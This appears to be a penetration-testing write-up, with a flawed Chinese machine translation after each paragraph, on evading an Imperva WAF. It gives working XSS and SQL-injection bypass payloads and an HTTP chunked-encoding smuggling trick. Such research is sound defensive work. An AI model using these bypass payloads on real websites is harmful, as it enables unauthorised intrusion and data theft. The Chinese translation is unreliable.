WAF evasion techniques

As most of the modern Web Application Firewalls can be trained and taught a proper rule-set by observing users’ behaviours (e.g. ID parameter will most likely be an integer and any non-numeric value taken from the user should alert the WAF) and tuned accordingly, it’s impossible to prepare a completely-working bypass method which would rule all the WAFs. Many of them are, however, left as they are – with just a basic configuration and not too much care (including rule-set tuning) at all. The main purpose of this article is to deal with those WAFs. The main part of the research is based on attempts to bypass security mechanisms implemented by an on-prem Imperva WAF. We’ll be attacking a random parameter, taken from the depths of the website protected by Imperva, so neither WAF, nor its maintainer had a chance to learn, train and deduce which rule-set should be applied to that parameter. Thus the only protection offered by a WAF layer is the one pre-configured by the WAF provider.

由于大多数现代 Web 应用程序防火墙都可以通过观察用户的行为(比如 ID 参数很可能是一个整数,而从用户获取的任何非数字值都应该提醒 WAF)来训练和教授一个适当的规则集,因此不可能准备一个完全可行的绕过方法来统治所有的 WAF。但是,它们中的许多都保持原样——只有基本的配置,根本不需要太多的关注(包括规则集调优)。这篇文章的主要目的是处理这些晶圆。这项研究的主要部分是基于试图绕过安全机制实施的一个关于 prem Imperva WAF。我们将攻击一个随机参数,取自 Imperva 保护的网站的深处,因此 WAF 和它的维护者都没有机会学习、训练和推断应该将哪个规则集应用到该参数上。因此 WAF 层提供的唯一保护是 WAF 提供者预先配置的保护。

The next few paragraphs demonstrate a couple of different approaches I took to find payloads exploiting Cross-Site Scripting (XSS) and SQL-Injection vulnerabilities that are undetectable for Imperva (payloads were identified on the 10th of December, 2020, so they might not be working now, when you’re reading this article).

接下来的几个段落展示了我采用的几种不同的方法,来发现利用了 Imperva 无法检测到的跨网站脚本和 sql 注入漏洞的有效载荷(有效载荷是在2020年的12月10日空间站上发现的,所以当你阅读本文时,它们可能已经不工作了)。

For better readability, the green text represents payloads which bypassed the WAF, whereas the red ones are detected and blocked.

为了提高可读性,绿色文本表示绕过 WAF 的有效负载,而红色文本则被检测和阻塞。

Whitelist/blacklist approach


Let’s start with a bare plain payload sent to the website protected by Imperva WAF:
Payload: TEST><

让我们从发送到受 Imperva WAF 保护的网站的一个简单的有效载荷开始: http://WAF.isec.pl/?param=TEST%3e%3c /有效载荷: TEST > < <

As the application prints back the parameter with no additional characters encoding (>< are printed back) we might assume it’s prone to a Cross-Site Scripting:
Payload: <script>alert(1)</script>

当应用程序打印返回参数时,没有额外的字符编码(> < are print back) ,我们可能会假设它倾向于使用跨网站脚本/ http://waf.isec.pl/?param=%3cscript%3ealert(1)%3c/script%3e /有效负载: < script > alert (1) </script >

But, obviously, the most common payload: <script>alert(1)</script> is blocked by WAF:

但是,很明显,最常见的有效负载: < script > alert (1) </script > 被 WAF 阻塞:

What should we do next?


The absolutely worst idea would be just sniping with every possible payload we know. That would generate too much noise and would likely be inefficient. We have to divide this main problem into smaller steps and check, upon each of them, what does the WAF detect.

最糟糕的主意就是用我们知道的所有可能的有效载荷进行狙击。这样会产生太多噪音,而且可能效率不高。我们必须将这个主要问题分解成更小的步骤,然后检查 WAF 检测到了什么。

First things first, we have to find an HTML-element which will let us execute a malicious JavaScript payload. As <script> (and its case-sensitive variations, e.g. <ScrIPt>) is easily detected, let’s see what else we have on the table. This is a pure blacklist/whitelist approach, as we are literally checking which HTML-tags (and, later, attributes) are whitelisted/blacklisted by the WAF’s rule-sets.

首先,我们必须找到一个 html 元素,它可以让我们执行恶意的 JavaScript 有效负载。由于 < script > (及其区分大小写的变化,例如 < script >)很容易检测,让我们看看表上还有什么。这是一个纯粹的黑名单/白名单方法,因为我们逐字检查哪些 html 标记(以及后来的属性)被 WAF 的规则集列入了白名单/黑名单。

Our next bet lands on <svg> which seems to go undetected by WAF:
Payload: <svg>

我们的下一个赌注是 < svg > ,它似乎不被 WAF: http://WAF.isec.pl/?param=%3csvg%3e /有效载荷: < svg > 检测到

Now it’s time to check available attributes. The most significant one – onload – is neither detected:
Payload: <svg/onload>

现在是检查可用属性的时候了。最重要的一个-onload-既没有检测到: http://waf.isec.pl/?param=%3csvg/onload%3e /有效载荷: < svg/onload >

Messing around with a WAF parser

使用 WAF 解析器

While <svg/onload> works perfectly fine, the first problem occurs when we want to progress with our payload a little further:
Payload: <svg/onload=>

虽然 < svg/onload > 工作得很好,但是当我们希望进一步处理我们的有效负载时,第一个问题出现了: http://waf.isec.pl/?param=%3csvg/onload=%3e /有效负载: < svg/onload = >

The above input is unfortunately detected. Now it’s time to try to analyse why it’s blocked and how the detection engine works under the hood. Let’s check these two payloads below:
Payload: onload=

不幸的是,检测到了上面的输入。现在是时候尝试分析为什么它的阻塞和如何检测引擎工作在引擎盖下。让我们检查一下这两个有效载荷: http://waf.isec.pl/?param=onload= /有效载荷: onload =

Payload: <test/onload=

Http://waf.isec.pl/?param=%3ctest/onload= : < test/onload =

The results imply that WAF does not blacklist the hardcoded string ‘onload=’, so the blacklist/whitelist approach will be useless. Instead, it takes the payload, normalises it and tries to guess if ‘onload=’ part is just a common, harmless string or a malicious one (treated as an HTML-attribute), which has to be blocked.
As the WAF parser tries to normalise this input, our next approach is to try and trick that parser into thinking that ‘onload=’ is just a harmless string indeed.

结果表明 WAF 不会将硬编码的字符串“ onload =”列入黑名单,因此黑名单/白名单方法是无用的。相反,它获取有效负载,对其进行标准化,并试图猜测“ onload =”部分是一个常见的、无害的字符串,还是一个恶意的字符串(被当作 html 属性处理) ,必须加以阻止。当 WAF 解析器尝试对这个输入进行规范化时,我们的下一个方法是尝试并诱使解析器认为‘ onload =’实际上只是一个无害的字符串。

Let’s examine how the normalisation might work. The ‘onload’ and a ‘=’ character can be separated with multiple of spaces or tabulators:
Payload: <svg/onload =>

让我们来看看正常化是如何运作的。‘ onload’和‘ =’字符可以用多个空格或制表符分开: http://waf.isec.pl/?param=%3csvg/onload%20%20%20=%3e /目录/目录有效载荷: < svg/onload = >

Payload: <svg/onload =>

Http://waf.isec.pl/?param=%3csvg/onload%09%09%09=%3e /有效载荷: < svg/onload = >

which both are normalised to <svg/onload=> and get detected.
An unexpected thing, however, happens when we mix those spaces and tabulators. WAF fails during the normalisation process and does not detect the following payload:
Payload: <svg/onload= >

它们都被归一化为 < svg/onload = > 并被检测到。然而,当我们把这些空格和表格混合在一起时,一个意想不到的事情发生了。WAF 在正常化过程中失败,并且不检测以下有效负载: http://WAF.isec.pl/?param=%3csvg/onload%09%20=%3e /有效负载: < svg/onload = >



Let’s continue to examine WAF’s behavior:
Payload: <svg/onload =’aaa()>

让我们继续检查 WAF 的行为: http://WAF.isec.pl/?param=%3csvg/onload%09%20=%27aaa /目录/目录/目录/目录/目录/目录/目录/目录/目录/目录/目录/目录

Payload: <svg/onload =’alert()>

Http://waf.isec.pl/?param=%3csvg/onload%09%20=%27alert : < svg/onload =’alert ()’>

Payload: alert()

Http://waf.isec.pl/?param=alert () Payload: alert ()

The above results imply that just like with the ‘onload=’ problem, the WAF tries to understand if alert() is a harmless string or a part of malicious JavaScript code. We may try to utilise our previous approach by trying to trick the parser again. It would be, however, much harder as we will have to keep in mind that while messing around with parser grammar for the ‘alert(1)’ part, we might screw up our bypass with parser grammar for ‘onload=’. Since dealing with two parser grammars at once would be too time-consuming, let’s utilise another approach. We will just obfuscate alert(), so it won’t be detected as something malicious.

上面的结果表明,就像“ onload =”问题一样,WAF 试图了解 alert ()是一个无害的字符串还是恶意 JavaScript 代码的一部分。我们可以尝试利用先前的方法再次欺骗解析器。然而,这将更加困难,因为我们必须记住,当我们为了‘ alert (1)’部分而在解析器语法上浪费时间时,我们可能会因为‘ onload =’的解析器语法而搞砸解析器语法的绕过。由于同时处理两种解析器语法太费时间,所以让我们采用另一种方法。我们只是模糊警告() ,这样它就不会被检测为恶意的东西。

As we are in the JavaScript realm there is an infinite number of ways of writing code. The most obvious ones, such as eval(), Function, etc. are detected by WAF. Well, most of the JavaScript keywords are detected. Let’s obfuscate them then:

由于我们处于 JavaScript 领域,有无数种编写代码的方法。其中最明显的,如 eval ()、 Function 等,是由 WAF 检测到的。大部分的 JavaScript 关键字都被检测到了。让我们把它们混淆起来:




<svg/onload =’[][`cons`+`tructor`][`const`+`ructor`](`aler`+`t(1)`)()’>

and execute an XSS!

并执行一个 XSS!

Reading the docs!


Enough with those XSS’s – that’s not the only vulnerability which WAFs are protecting from. Another very common one is a SQL-Injection. Let’s start with a classic UNION SELECT:
Payload: 1union select 1, 2

够了,这些 XSS 的-这不是唯一的漏洞,晶圆正在保护。另一个非常常见的是 sql 注入。让我们从一个经典的 UNION SELECT: http://waf.isec.pl/?param=1%27%20union%20select%201,%202%20%23/有效载荷: 1’UNION SELECT 1,2 # 开始

It’s not really surprising that this payload got blocked. The further observation:
Payload: 1’ unioX select 1, 2

这个有效载荷被阻塞并不奇怪,进一步观察: http://waf.isec.pl/?param=1%27%20uniox%20select%201,%202%20%23/卫星有效载荷: 1’unioX select 1,2 #

Payload: 1union Xelect 1, 2

Http://waf.isec.pl/?param=1%27%20union%20xelect%201,%202%20%23:1’union Xelect 1,2 #

suggests that WAF doesn’t like the ‘union select’ part.

表明 WAF 不喜欢联盟选择部分。

We might try to separate them with multiple of whitespace characters:
Payload: 1union <lots of fuzzed whitespace characters> select 1, 2

我们可以尝试用多个空白字符分隔它们: http://waf.isec.pl/?param=1%27%20union%09%0b%20select%201,%202%20%23/有效载荷: 1’联合 < 大量模糊空白字符 > 选择1,2 #

or comments:
Payload: 1union select 1, 2

1’union/* *//* */select 1,2 #

or even try to mislead parser grammar by putting something inside those comments:
Payload: 1union select 1, 2

或者甚至试图通过在这些注释中添加一些内容来误导解析器语法: http://waf.isec.pl/?param=1%27%20union/*%20–%20%23%20union%20from%20select%20*/select%201,%202%20%23/有效负载: 1’union/*-union from select */select 1,2 #

All these tries failed. What are the other ways to separate UNION from the SELECT keyword? MySQL documentation brings the answer:

所有这些尝试都失败了。还有什么其他方法可以将 UNION 与 SELECT 关键字分开?MySQL 文档给出了答案:


Source: https://dev.mysql.com/doc/refman/8.0/en/union.html

来源: https://dev.mysql.com/doc/refman/8.0/en/union.html

It turns out that although UNION ALL SELECT is still detected by WAF, the less known (and less used) syntax, i.e. union distinct select fully bypasses the protection!

事实证明,虽然 UNION ALL SELECT 仍然可以被 WAF 检测到,但是不太为人所知(也很少使用)的语法,即 UNION distinct SELECT 完全绕过了保护!

Payload: 1union distinct select 1, version() from wp_users

Http://waf.isec.pl/?param=1%27%20union%20distinct%20select%201,%20version : 1’union distinct select 1,version () from wp _ users #

Messing up with parser (again)


What a WAF bypass would be without a famous ‘ OR 1=’1 payload. And what a WAF would be, if it weren’t able to detect it:
Payload: or2=2

如果没有著名的 OR 1 = 1有效载荷,WAF 旁路将会是什么样子。如果 WAF 不能探测到它,那么它将是什么: http://WAF.isec.pl/?param=%27%20or%20%272%27=%272/有效载荷: 或者2 = 2

Payload: or3>2

Http://waf.isec.pl/?param=%27%20or%20%273%27%3e%272有效载荷: ‘ or‘3’>’2

Payload: or xx()=xx()

Http://waf.isec.pl/?param=%27%20or%20xx()=xx()有效载荷: ‘ or xx () = xx ()

Payload: or ((xx()))=xx()

Http://waf.isec.pl/?param=%27%20or%20((xx()))/**/=xx () Payload: ‘ or ((xx ()))/* */= xx ()

As we see, no matter how complicated the syntax on the right-hand side is, parser detects the (in)famous OR. But what about the left-hand side?

正如我们看到的,不管右边的语法有多复杂,解析器都会检测到(在)著名的 OR。但是左手边呢?

Payload: -’’ or2=2

Http://waf.isec.pl/?param=%27-%27%27%20or%20%272%27=%272有效载荷: ‘-’或‘2’=’2

Payload: xor”aaa” or2=2

Http://waf.isec.pl/?param=%27xor%22aaa%22%20or%20%272%27=%272/有效载荷: ‘ xor’‘ aaa’或‘2’=’2

It turns out that we are able to trick the parser again.
We checked the right-hand side, we did the same with the left one, and now it’s time to find out what’s going on in the middle of our payload 🙂


Since WAF detects any expression like 1=1 or x()>y(), let’s put ‘1’ there. While ‘1’ evaluates to True and WAF does not perceive it as an expression (thus does not block the payload), we can come out with (probably) the shortest bypass ever:
Payload: ‘or 1 #

因为 WAF 检测到任何像1 = 1或 x () > y ()这样的表达式,所以我们把‘1’放在这里。虽然‘1’的结果是 True,WAF 并不把它看作一个表达式(因此不会阻碍有效负载) ,但我们可以得出(可能)有史以来最短的旁路: http://WAF.isec.pl/?param=’or%201%20%23/有效负载: ‘或者1 #

Abuse HTTP for WAF evasion and profit

用于规避 WAF 和获利的滥用 HTTP

The recently described HTTP Smuggling technique (https://portswigger.net/web-security/request-smuggling) gained a lot of popularity. It’s a pretty straightforward idea that smuggled requests might mislead WAFs. Even though Imperva deals with these attacks let’s quickly review them as it’s a must to implement these techniques in every WAF evasion approach.

最近被描述的 HTTP 走私技术(HTTP Smuggling technique, https://portswigger.net/web-security/request-Smuggling 技术)获得了很大的普及。这是一个相当直接的想法,走私请求可能会误导 WAFs。即使 Imperva 处理这些攻击,我们还是要快速回顾一下,因为在每个 WAF 规避方法中都必须实现这些技术。

Double Content-Length


Content-Length: 10
Content-Length: 35


The main idea of this technique is to confuse WAF which Content-Length header it should process. If it chooses the first one (Content-Length: 10) and the server chooses the second (Content-Length: 35), the WAF won’t be able to detect a malicious string as it will only “see” param=AAAA. Luckily for Imperva users, its WAF detects doubled Content-Length header (even if it contains the same value) and blocks the request.

这种技术的主要思想是混淆 WAF 应该处理哪个 Content-Length 头。如果它选择第一个字符串(Content-Length: 10) ,而服务器选择第二个字符串(Content-Length: 35) ,WAF 将无法检测到恶意字符串,因为它只能“看到”param = AAAA。对 Imperva 用户来说幸运的是,它的 WAF 检测到双倍的 Content-Length 头(即使它包含相同的值)并阻止请求。

TE/CL, CL/TE, TE obfuscation


This time the HTTP request contains both Content-Length and Transfer-Encoding headers. What we are hoping for here, is that WAF chooses to process the request based on the Transfer-Encoding header, while the server processes it based on the Content-Length (or vice versa: WAF – CL, server – TE).

这次 HTTP 请求同时包含 Content-Length 和 Transfer-Encoding 头。我们希望 WAF 选择基于传输编码头处理请求,而服务器基于 Content-Length 处理请求(反之亦然: WAF-CL,server-TE)。

Fortunately, Imperva blocks every request which contains both of these headers.
As for the TE obfuscation technique, the idea is very similar. We slightly distort the Transfer-Encoding header, hoping that one of the two (WAF or server) processes it, while the other ignores or simply does not recognise it. And, as you might have probably guessed, Imperva deals with this technique by blocking the request which contains a malformed Transfer-Encoding header.

幸运的是,Imperva 会阻塞包含这两个头的每个请求。至于 TE 模糊技术,其思想非常相似。我们稍微扭曲了传输编码头部,希望其中一个(WAF 或服务器)处理它,而另一个忽略或根本不认识它。而且,正如您可能已经猜到的,Imperva 通过阻塞包含格式不正确的传输编码头的请求来处理这种技术。

Since seemingly every deviation from the HTTP standard seems to be perfectly handled by Imperva WAF, let’s move back to following the standard instead. We’ll take a much deeper look at the Transfer-Encoding itself.

既然看起来对 HTTP 标准的每一个偏离似乎都被 Imperva WAF 完美地处理了,那么让我们回到遵循标准来代替。我们将更深入地研究传输编码本身。

Host: waf.isec.pl
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked


The above request prints back the “123456789” string based on the Transfer-Encoding param=123456789.

上面的请求根据 Transfer-Encoding 参数 = 123456789打印返回“123456789”字符串。

Host: waf.isec.pl
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

' unio
n sele
ct 1, 2 #

The above request is blocked by WAF. It seems it has managed to merge all the parts of the HTTP request and detect malicious 123’ union select 1,2 #. This is very bad news for us since we cannot split our payload to trick the WAF. Let’s continue our observation by abusing Transfer-Encoding further.

上述请求被 WAF 阻塞。它似乎已经成功地合并了 HTTP 请求的所有部分,并检测出恶意的123’联合选择1,2 # 。这对我们来说是非常坏的消息,因为我们不能分配我们的有效负载来欺骗 WAF。让我们通过进一步滥用传输编码继续我们的观察。

Host: waf.isec.pl
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked


We abused the middle part of the Transfer-Encoding. We declared a chunk length of 3 while providing four characters. The server ignores the 4th character and the rest of the request (characters: 89a). It prints back: 123456. What’s important here is that WAF doesn’t detect this deviation. Now we need to check how WAF treats this malformed part of the request. For better understanding, let’s send a valid request first.

我们滥用了迁移编码的中间部分。我们声明了一个长度为3的块,同时提供了4个字符。服务器忽略第4个字符和请求的其余部分(字符: 89a)。结果显示: 123456。这里重要的是 WAF 没有检测到这个偏差。现在我们需要检查 WAF 如何处理这个畸形的请求部分。为了更好地理解,让我们先发送一个有效的请求。

Host: waf.isec.pl
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

' union select version(), 2 from wp_users #

What’s the size of the payload here?
len(“' union select version(), 2 from wp_users #”) == 0x2b

这里有效负载的大小是多少? len (“‘ union select version () ,2 from wp _ users #”) = 0x2b

WAF detects malicious payload and blocks the request.

WAF 检测恶意有效负载并阻止请求。

And now the invalid one (a string much longer than 0x2b):

现在是无效的(一个比0x2b 长得多的字符串) :

Host: waf.isec.pl
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

' union select version(), 2 from wp_users # PAD-PAD-PAD

It turns out that WAF refused to process a malformed part of the request while the server actually processed it. And the SQL-Injection occurred:

结果是 WAF 在服务器实际处理请求时拒绝处理格式不正确的部分。而 sql 注入发生了:

The malformed chunk was ignored by WAF. Even though it contains the straightforward UNION SELECT payload, it was not detected by WAF as it simply didn’t process (thus didn’t detect) a malformed part of HTTP request.

WAF 忽略畸形块。即使它包含直接的 UNION SELECT 有效负载,WAF 也没有检测到,因为它根本没有处理(因此没有检测到) HTTP 请求中格式不正确的部分。



The article describes some different approaches to bypass Imperva WAF solution. The demonstrated techniques might be utilised in any methodology which focuses on WAF evasion.

本文介绍了几种绕过 Imperva WAF 解决方案的不同方法。可以在任何侧重于规避 WAF 的方法中使用所演示的技术。